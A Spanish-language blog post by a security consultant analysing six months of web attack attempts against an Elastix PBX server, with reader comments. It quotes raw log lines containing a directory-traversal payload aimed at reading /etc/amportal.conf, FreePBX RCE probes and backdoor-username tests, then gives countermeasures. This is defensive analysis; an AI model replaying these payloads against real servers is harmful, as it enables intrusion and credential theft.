Durante estas semanas en la lista de Elastix , están surgiendo muchas dudas e incertidumbre acerca de la seguridad de Elastix, es por ello que me animé ha publicar esta nota, bueno como saben unos de las cosas a las cuales tengo el gran gusto de trabajar, es a la seguridad e inseguridad, es por ello que constantemente monitoreo y evalúo las plataformas a las cuales tengo a cargo.

En vista de eso, después de unos meses de trifulcas en la red con mi amigos los hackers del lado oscuro 😀 ,  les voy a mostrar, cuales son los vectores de ataques a nivel web, que los atacantes están usando para tratar de vulnerar nuestra plataforma Elastix, por lo menos durante estos 6 primeros meses del año,  para eso primero vamos a definir el escenario.

1.- Escenario

Servidor con dirección IP publica o estática directa hacia internet (sin routers o firewall perimetral)
Plataforma Elastix 2.3.0
Función principal : Solo Central telefónica o conmutador , con 10 extensiones configuradas.
Aplicaciones adicionales desde el Market : Ninguna
Sistemas o aplicaciones de seguridad

– Fail2ban , protegiendo SIP y SSH
– Scripts de IPTABLES ninguno
– Contrafuegos de Elastix  sin activar


2.- Revisión de Logs

25/06/2012

69.61.14.2 – – [25/Jun/2012:07:50:51 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –

69.61.14.2 – – [25/Jun/2012:07:51:26 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –

80.237.234.150 – – [25/Jun/2012:19:34:29 -0500] «GET //vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?%20module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –

28/06/2012

37.8.39.117 – – [28/Jun/2012:17:56:39 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –

29/06/2012

66.199.146.125 – – [29/Jun/2012:18:34:38 -0500] «GET /recordings/misc/callme_page.php?action=c&callmenum=7233 HTTP/1.1» 200 –
66.199.146.125 – – [29/Jun/2012:19:31:54 -0500] «GET /recordings/misc/callme_page.php?action=c&call19829291menum=7231 HTTP/1.1» 200 –

30/06/2012

37.75.214.0 – – [30/Jun/2012:14:09:43 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –
5.11.43.173 – – [30/Jun/2012:14:38:18 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00%20[^] HTTP/1.1» 200 –

37.8.99.133 – – [30/Jun/2012:18:47:59 -0500] «GET //vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?%20module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1» 200 –

41.238.85.95 – – [30/Jun/2012:19:02:34 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1» 200 –

04/07/2012

176.9.105.169 – wwwadmin [04/Jul/2012:21:39:58 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – maint [04/Jul/2012:21:40:22 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – admin [04/Jul/2012:21:40:08 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – freepbx [04/Jul/2012:21:40:32 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – asteriskuser [04/Jul/2012:21:40:42 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – asterisk [04/Jul/2012:21:40:54 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – «» [04/Jul/2012:21:41:05 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – txbox [04/Jul/2012:21:41:16 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – root [04/Jul/2012:21:41:28 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –
176.9.105.169 – fpbx [04/Jul/2012:21:41:41 -0500] «HEAD /admin/config.php HTTP/1.1» 200 –

176.9.105.169 – – [04/Jul/2012:21:41:51 -0500] «GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1» 200 –

3.- ANÁLISIS DE ATAQUES RECIBIDOS
Como se puede apreciar , los ataques se pueden resumir , en que los atacantes se basan para para este caso en 3 vectores:

A) Ataque de directorios Transversales vía  VTIGER , buscando la pagina «sortfieldsjson.php» para a travez de esta, realizar un escalamiento de directorios transversales, llegando a los archivos de configuración de Asterisk , en este caso «amportal.conf» con el objetivo de poder tener acceso a Freepbx, pero puede tranquilamente escalar hacia otros archivos.

Reporte oficial : http://osvdb.org/show/osvdb/80552

B) Vulnerabilidad  Remote Code Execution Exploit FreePBX 2.10.0, esta a estas alturas ya es conocida , si desean mas información pueden encontrarla aquí

C) Acceso de privilegios vía Backdoor Freebx , otra conocida, revelada en el 2010 , la información de ello aquí

4.- CONCLUSIONES Y CONTRAMEDIDAS

– Los ataques recibidos o vulnerabilidad que buscadas los atacantes a nivel web, tienen que ver o con Freepbx o con software tercero como en este caso VTIGER, es decir si tienen este ultimo instalado y lo necesitan, tienen como alterativa  o bloquear  su acceso desde internet (con cuidado, por supuesto no queremos bloquearnos a nosotros mismos) o realizan la actualización de vtiger en este caso.

– Aun no puedo determinar estas búsquedas de vulnerabilidades, son realizadas de manera manual o con alguna herramienta que automatice los ataques.

– La regla general, no exponer servicios innecesarios hacia  internet, como en este caso sera muy conveniente no dejar el interfase de administración web expuesta y buscar un medio seguro de acceso , usando técnicas como VPN o SSH TUNNEL.

– Como yo siempre digo «la seguridad es transitiva» , es decir siempre aparecerán nuevas vulnerabilidades de las cuales los atacantes querrán sacar provecho,esto no es nada nuevo y sucede en todos los sistemas, para ello lo importante, estar al día siempre con los parches de seguridad en general.

Vamos a ver, que nos traen los próximos meses , y contar con la segunda parte del articulo.

PD : El agradecimiento a mi amigo @LeCams en apoyarme como siempre, en los planteamientos de mis post.

6 respuestas a “Taxonomía de ataques Web a Elastix (I)”

  1. Avatar de FredySnake (@FredySnake)

    Muchas gracias por compartir esta Info, Gracias por los Post de este blog… Excelentes!!!! Muchos Exitos… Gracias…

  2. Avatar de Ludwig

    Agradecimientos Juan por tomarte el tiempo para compartir la informacion con la comunidad.

  3. Avatar de jroliva

    Muchas Gracias por sus comentarios !!!

  4. Avatar de Douglas
    Douglas

    Saludos, solo puedo comentar que cada dia los ataques se vuelven mas sofisticado y para curarme de salud lo mejor que pude hacer es bloquear todo el trafico externo (http,https, iax, iax2,ssh) solo le permito trafico a mi rango interno, y dejo abierto solo los servicio necesario para el asterisk, asterisk y centos son muy seguro lo inseguro es la freepbx. saludos

  5. Avatar de psoriasis

    Howdy just wanted to give you a quick heads
    up and let you know a few of the images aren’t loading properly. I’m not sure why but I think its a linking issue.
    I’ve tried it in two different browsers and both show the same outcome.

  6. Avatar de Taxonomía de ataques Web a Elastix (II) « Juan Oliva

    […] El año pasado publique un post sobre algunas técnicas que estaban siendo usadas para ataques a servidores Elastix a través de la […]

Replica a Ludwig Cancelar la respuesta

Juan Oliva

Consultor en Ciberseguridad y VoIP con mas de 16 años de experiencia en el campo, muy involucrado en proyectos de Ethical Hacking, análisis y explotación de vulnerabilidades en infraestructura, aplicaciones web, APIs y Móviles, pruebas de ingeniería social y revisión de código.